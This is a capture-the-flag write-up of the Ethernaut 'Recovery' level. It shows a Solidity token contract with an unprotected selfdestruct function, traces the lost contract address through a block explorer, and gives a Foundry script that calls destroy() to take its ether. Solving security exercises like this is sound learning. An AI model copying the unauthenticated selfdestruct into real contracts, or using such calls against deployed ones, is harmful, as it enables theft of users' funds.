---
layout: post
title: "[Ethernaut] 17.Recovery"
tags: blockchain ethernaut foundry Explorer
---

# Analysis

---

The goal is

1. recover (or remove) the `0.001` ether from the lost contract address.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Recovery {
    //generate tokens
    function generateToken(string memory _name, uint256 _initialSupply) public {
        new SimpleToken(_name, msg.sender, _initialSupply);
    }
}

contract SimpleToken {
    string public name;
    mapping(address => uint256) public balances;

    // constructor
    constructor(string memory _name, address _creator, uint256 _initialSupply) {
        name = _name;
        balances[_creator] = _initialSupply;
    }

    // collect ether in return for tokens
    receive() external payable {
        balances[msg.sender] = msg.value * 10;
    }

    // allow transfers of tokens
    function transfer(address _to, uint256 _amount) public {
        require(balances[msg.sender] >= _amount);
        balances[msg.sender] = balances[msg.sender] - _amount;
        balances[_to] = _amount;
    }

    // clean up after ourselves
    function destroy(address payable _to) public {
        selfdestruct(_to);
    }
}
```

First, we identify the lost contract address.

We search the blockchain explorer using the given instance address: `0x8A53163e6d7423D3F83E871f6E16FF855D3B73FE`.

![image.png]({{site.url}}/images/2025-05-17-Recovery/blockchainExplorer.png)


My challenge is deployed at `0x7585bEb16C9dCFb8E71bF433d0E924f70Ca3efD4`.

From the on-chain trace, we observe that the `0x7585` contract deployed or interacted with the `0x8a53` contract and called the `generateToken()` function.

Subsequently, `0x8a53` interacted with another contract, `0xc413`.

We suspect `0xc413` is the lost contract.

![image.png]({{site.url}}/images/2025-05-17-Recovery/blockchainExplorer2.png)

When inspecting the transaction involving `0xc413`, we can see that `0x7585` sent exactly 0.001 Ether to `0xc413`.

Based on the challenge hint — "creator sent 0.001 ether to obtain more tokens" — we can conclude that `0xc413` is the lost contract we are looking for.

# Exploit

---

```solidity
// SPDX-License-Identifier: MIT
// forge script script/RecoverySol.sol:RecoverySol --account mingw --sender 0x6f5Ad1E6F1a624E4Ad37f0B7D6f100ab1Db29514 --rpc-url kairos --broadcast
pragma solidity ^0.8.0;

import "../src/Recovery.sol";
import "forge-std/Script.sol";

contract RecoverySol is Script {
    SimpleToken public st_ = SimpleToken(payable(0xC41399Fe813068a3A23DE4215C43584AA3A188A0));

    function run() external {
        vm.startBroadcast();

        console.log("Before balance", address(st_).balance);
        st_.destroy(payable(msg.sender));
        console.log("After balance", address(st_).balance);

        vm.stopBroadcast();
    }
}
```

![image.png]({{site.url}}/images/2025-05-17-Recovery/result.png)